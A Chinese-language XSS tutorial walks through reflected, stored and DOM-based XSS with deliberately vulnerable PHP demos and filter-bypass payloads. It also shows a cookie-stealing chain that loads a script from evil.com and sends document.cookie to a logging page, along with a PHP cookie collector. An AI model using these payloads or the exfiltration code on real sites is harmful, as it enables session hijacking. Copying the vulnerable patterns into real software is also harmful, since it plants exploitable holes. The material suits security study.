前言:有人曾经说过,XSS之所以那么流行,就是因为每个网站,包括Google、Microsoft等,都会存在XSS漏洞!之前对XSS这块“肥肉”只是了解,没有系统的学习一下。趁着暑假赋闲,来系统的剖析一下这块‘肥肉’。
0x01 xss基础
- Cross Site Script
- For web client
- 来源于js / ActiveX / Flash …
js xss使用场景
- 直接嵌入html:
<script>alert(/xss/);</script>
- 元素标签事件:
<body onload=alert(/xss/)>
- 图片标签:
<img src="javascript:alert(/xss/);">
- 其他标签:
<iframe>,<div>, and <link>
- DOM对象,篡改页面内容
XSS根据效果不同可分为以下几类:
- 反射型XSS
- 存储型XSS
- DOM Based XSS 通过修改DOM节点形成的XSS
易用性:2>3>1
1
2
3
4
5
6
7
8
9
10
11
|
<?php /* * 反射型XSS 演示 */ error_reporting (0); $text = $_GET [ ‘name‘ ]; ?> <input type= "text" id= "text" value= "<?php echo $text ?>" /> Payload:?name="><img%20src=1%20onerror=%27alert(1)%27> |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
<?php /* * 存储型XSS 演示 */ error_reporting (7); $name = $_GET [ ‘name‘ ]; mysql_select_db( "test" , $conn ); mysql_query( ‘set names "utf8"‘ ); $sql_insert = "insert into liuyan(content) values(‘$name‘)" ; $result = mysql_query( $sql_insert , $conn ); $sql_select = "select * from liuyan" ; $results = mysql_fetch_array(mysql_query( $sql_select )); echo $results [content]; ?> Step 1: ?name=<scRipt>Alert(1)</scrIpt> Step 2: result |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?php /* * DOM Based XSS 演示 */ error_reporting (0); $name = $_GET [ ‘name‘ ]; ?> <input id= "text" type= "text" value= "<?php echo $name ?>" /> <div id= "print" ></div> <script> var text = document.getElementById( ‘text‘ ); var print = document.getElementById( ‘print‘ ); print .innerHTML = text.value; </script> Payload: ?name=<img%20src=1%20onerror=%27alert(1)%27> |
0x02 XSS Payload
xss攻击成功后,攻击者能够对用户当前浏览器的页面植入恶意脚本,进而控制用户浏览器。这些恶意脚本,被称为"XSS Payload"
Cookie劫持
1
2
3
4
5
6
7
8
|
http://www.a.com/test.php?abc="><script src =http://evil.com/evil.js></script> evil.js content: var img = document.createElement("img"); img.src = "http://www.evil.com/log?"+escape(document.cookie); document.body.appendChild(img); PS:log不一定要存在,因为在日志中会记录下这个过程 |
上面演示的就是最基本的xss 劫持Cookie的过程, 当你拿到用户cookie后,怎么用它登录服务器呢?在这个过程,方法很多,这里有两种方法:
- Burpsuit proxy 修改cookie
- Firefox 插件 Data Tamper 截断请求修改cookie
php XSS Cookie require
1
2
3
4
5
6
7
8
9
|
<?php $cookie = $_GET [ ‘c‘ ]; $ip = getenv ( ‘REMOTE_ADDR‘ ); $time = data( "j F, Y, g:i a" ); $referer = getenv ( ‘HTTP_REFERER‘ ); $fp = fopen ( ‘cookie.txt‘ , ‘a‘ ); fwrite( $fp . ‘Cookie: ‘ . $cookie . ‘<br/> IP: ‘ . $ip . ‘<br> Data and Time: ‘ . $time . ‘<br>Referer: ‘ . $referer . ‘<br><br>‘ ); fclose( $fp ); ?> |
将上述保存到自己服务器上,1.php
然后在XSS处写入:
1
|
|
构造GET与POST请求
XSS钓鱼
识别用户浏览器
识别用户安装软件
CSS History Hack
获取用户真实IP
0x03 XSS 攻击平台
- Attack API
- BeEF
- XSS-Proxy
0x04 XSS Worm
0x05 XSS构造技巧
最最基本的构造技巧是“闭合标签”,
利用字符编码
这里首先看下道哥在《白帽子讲web安全》一书中讲到的一种情况,就是当web页面编码方式为gbk/gb2312时,针对“%c1\”绕过系统转义“的情况……
其次就是各种加密了
URL编码
unicode编码
HTML编码
HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
1
|
< img src=logo.png/> |
CSS编码
斜杠/加上1-6位16进制数
常见绕过方式
1
2
3
4
|
< sCript >alert(1)</ scRipt > < script %20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript> < scr <script>rip>alalertert</ scr </script>rip> (需要利用waf的不完整性) < script >eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</ script > |
绕过长度限制
1
2
|
< input type = "text" value = "$var" /> length($var)<=20 |
方法一:通过事件缩短payload
1
|
"onclick=alert(1)// |
方法二:使用location.hash 加载xss payload
1
2
3
4
5
6
7
8
9
|
Payload: " onclick="eval(location.hash.substr(1)) < input type = "text" value = "" onclick = "eval(location.hash.substr(1))" /> location.hash的第一个字符为# 则 http://www.a.com/test.html#alert(1) 产生效果 location.hash本身没有长度限制,而浏览器URL有,在这个范围内都是可以的。 |
方法三:利用注释符绕过长度限制
1
2
3
|
有两个输入框,第一个有限制,第二个没有长度限制,则可以通过注释符打通两个注释框之间的部分: input1#value: "><!-- input2#value: --><script>alert(/xss/);<script/> |
使用标签
标签在html中的作用是为所有使用相对路径的链接提供其实地址。
这个过程是可以被利用的,假设可以在页面某处插入base标签,并在自己服务器上伪造payload相应的图片等链接,则可以达到攻击效果
1
|
|
window.name妙用
可以利用此实现跨域效果
1
2
3
4
5
6
7
|
a.com中, window.name=test location.href="http://www.b.com/xss.php" b.com中,加入 document.domain + window.name 即可轻松实现从a->b的跨越 |
0x06 一些奇葩的攻击手法
第三方劫持(外调J/C)
简单的讲就是去看你的目标站点引用了哪些外部站点js/css/swf/等,然后再入侵相应的外站,进而修改js/css/swf 达到xss的实现效果,采用“迂回式”的渗透方式
这里引用“长短短”写的一个获取非本站的J/C代码:
1
2
3
4
5
6
7
|
for ( var i=0,tags=document.querySelectorAll( ‘iframe[src],frame[src],script[src],link[rel=stylesheet],object[data],embed[src]‘ ),tag;tag=tags[i];i++){ var a = document.createElement( ‘a‘ ); a.href = tag.src||tag.href||tag.data; if (a.hostname!=location.hostname){ console.warn(location.hostname+ ‘ 发现第三方资源[‘ +tag.localName+ ‘]:‘ +a.href); } } |
只需在浏览器Console执行这段代码即可
0x07 JavaScript开发框架XSS
JQuery
JQuery里面有个html()方法,这个方法如果没有参数,就会读取一个DOM节点的innerHTML;如果有参数,则会把参数值写入该DOM节点的innerHTML中。这个过程可能产生“DOM Based XSS”
1
|
$( ‘div.demo-contaioner‘ ).html( "<img src=# onerror=alert(1) />" ); |
此外,其他一些例如 Dojo / YUI本身就存在XSS漏洞。
https://www.ohlinge.cn/web/xss.html